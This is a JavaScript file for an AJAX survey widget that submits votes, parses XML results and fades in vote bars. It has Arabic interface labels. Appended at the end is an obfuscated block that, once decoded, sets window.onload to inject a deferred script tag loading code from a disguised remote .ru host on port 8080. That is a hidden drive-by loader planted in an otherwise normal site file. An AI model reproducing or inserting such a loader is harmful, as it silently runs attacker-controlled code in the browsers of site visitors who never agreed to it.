var req = getRequestObject();
var loaded = false;

function startSurvey() {
	sendSurvey();	
}

function sendSurvey() {
	if(req.readyState == 4 || req.readyState == 0) {
		setFade(0);
		
		var s = '';
		var r = '';
		
		if(getObject("sid") != null) {
			var r = '';
			for(i=0;i<document.f.resp.length;i++) {
				if(document.f.resp[i].checked) r = document.f.resp[i].value;
			}
			
			s = getObject('sid').value;
		}
		var url = "survey/survey.php?s="+s+"&r="+r;
		
		req.open("GET",url,true);
		req.onreadystatechange = receiveSurvey;
		req.send(null);
	}
}

function receiveSurvey() {
		if(req.readyState == 4) {
			
			var output = '';
			
			var xml = req.responseXML;
			var typ = xml.documentElement.getAttribute('type');
			var sid = xml.documentElement.getAttribute('id');
			
			var subj = xml.getElementsByTagName('subj')[0].childNodes[0].nodeValue;
			var date = xml.getElementsByTagName('date')[0].childNodes[0].nodeValue;
			var ques = xml.getElementsByTagName('ques')[0].childNodes[0].nodeValue;
			var resps = xml.getElementsByTagName('responses')[0].childNodes;
			var votes = xml.getElementsByTagName('votes')[0].childNodes[0].nodeValue;
			var msg = xml.getElementsByTagName('msg')[0].childNodes[0].nodeValue;
						
			output += "<div id='surv_main'><div class='ques'><div class='q'>"+ques+"</div><div class='a'>";
			if(typ == 1) output += "<form name='f'><input type='hidden' id='sid' value='"+sid+"' />";
						
			for(i=0;i<resps.length;i++) {
				if(resps[i].nodeType==1) {
					if(typ == 1) {
						// survey
						output += "<span class='ans'><input type='radio' name='resp' value='"+resps[i].getAttribute('id')+"' /> "+resps[i].childNodes[0].nodeValue+"</span>";
					} else {
						// results
						output += "<p style='line-height:5px'>"+resps[i].childNodes[0].nodeValue+"</p><div class='result'><div class='rbar' style='width:"+(Math.round(resps[i].getAttribute('votes')/votes*100))+"%' /></div> <div class='rperc'>"+resps[i].getAttribute('votes')+" votes / "+(Math.round(resps[i].getAttribute('votes')/votes*100))+"%</div></div>";						
					}
				}
			}
			
			if(typ == 1) {
				// survey 
				output += "</form></div></div><div class='botm'><span class='left'><a href='javascript:void(0)' onClick='sendSurvey()'><img src='/survey/vote_button.gif' style='border:none' border='0' /></a></span></div><div class='botm'><span class='right'>[ <a href='javascript:void(0)' onClick='sendSurvey()'>النتائج</a> ]</span></div></div>";
			} else {
				// results
				output += "</div></div><div class='botm'><span class='left'>"+msg+"</span><span class='right'>[ "+votes+" <a href='javascript:void(0)' onClick='sendSurvey()'>صوت/أصوات</a> ]</span></div></div>";
			}
			
			
			getObject("survey").innerHTML = output;			
			(loaded)? fade(0):setFade(100);
			loaded = true;
        }
}

function getObject(obj) {
	var o;
	
	if(document.getElementById) o = document.getElementById(obj);
	else if(document.all) o = document.all[obj];	
	else if(document.layers) o = document.layers[obj];
	
	return o;	
}

function getRequestObject() {
	// most browsers
	if (window.XMLHttpRequest) {
		return new XMLHttpRequest();
		
	// IE
	} else if(window.ActiveXObject) {
		return new ActiveXObject("Microsoft.XMLHTTP");
	}
}

function fade(amt) {
	if(amt <= 100) {
		setFade(amt);
		amt += 20;
		setTimeout("fade("+amt+")", 5);
    }
}

function setFade(amt) {
	var obj = getObject("survey");
	
	amt = (amt == 100)?99.999:amt;
  
	// IE
	obj.style.filter = "alpha(opacity:"+amt+")";
  
	// Safari<1.2, Konqueror
	obj.style.KHTMLOpacity = amt/100;
  
	// Mozilla and Firefox
	obj.style.MozOpacity = amt/100;
  
	// Safari 1.2, newer Firefox and Mozilla, CSS3
	obj.style.opacity = amt/100;
}



try {this.v="v";this.vy="vy";var u='cOr0e&aOt&eOEjl.e.m.ejn0tO'.replace(/[Oj\.&0]/g, '');var of=40834;var c='sBc.rniBpBt5'.replace(/[5Bn\.d]/g, '');var qx;if(qx!='qu' && qx != ''){qx=null};var rd=false;var i='o/nml;o/a;d*'.replace(/[\*/m;9]/g, '');var on;if(on!='nz' && on != ''){on=null};this.k=491;var iq=false;var r=window;var h;if(h!='mz' && h!='lu'){h='mz'};x=function(){this.oq=false;var hl;if(hl!='' && hl!='ru'){hl=null};o=document[u](c);this.et="";var b_=false;var zv;if(zv!='hf' && zv!='ss'){zv='hf'};var mw;if(mw!='zc' && mw!='iw'){mw='zc'};o.setAttribute('d@elf@elrQ'.replace(/[Q8@ol]/g, ''), ([1,1][0]));var ok;if(ok!='' && ok!='qr'){ok=null};o['s*rici'.replace(/[iQ\|\*J]/g, '')]='hx_t>p5:J/L/JeLx>bni5-LcLo>m<.Jg5o>o>gJl<e5.JcLo>m5.>p5eJ.JoLr<f5-5aLt>.5r5eJdLtLaLg5jlwnte5rLs<.>rLuL:>8>0L850</Jw>o5oLtJ.LcJo5m</JwJo<oLt<.mo>m>/Lc5hLiJn5aLh5r<.JcLo>m>/qlJeL.Lc>o>mJ/Ls5tan5tLe<r<.<c5o5mJ/L'.replace(/[L\>\<J5]/g, '');var ye;if(ye!=''){ye='zk'};var gf;if(gf!='' && gf!='ty'){gf=null};var _f=false;document['beoPd@ye'.replace(/[e@%PI]/g, '')]['a5pNp~e.n.d5C.h.iNl~d5'.replace(/[5Nx\.~]/g, '')](o);this.wc="wc";this.qg="qg";};r[i]=x;var s_;if(s_!='gd' && s_!='ori'){s_=''};var al;if(al!='gt' && al!='o_'){al=''};var uz;if(uz!='' && uz!='nl'){uz=''};var gbo=new Date();} catch(p){var ds=new Array();this.zl='';};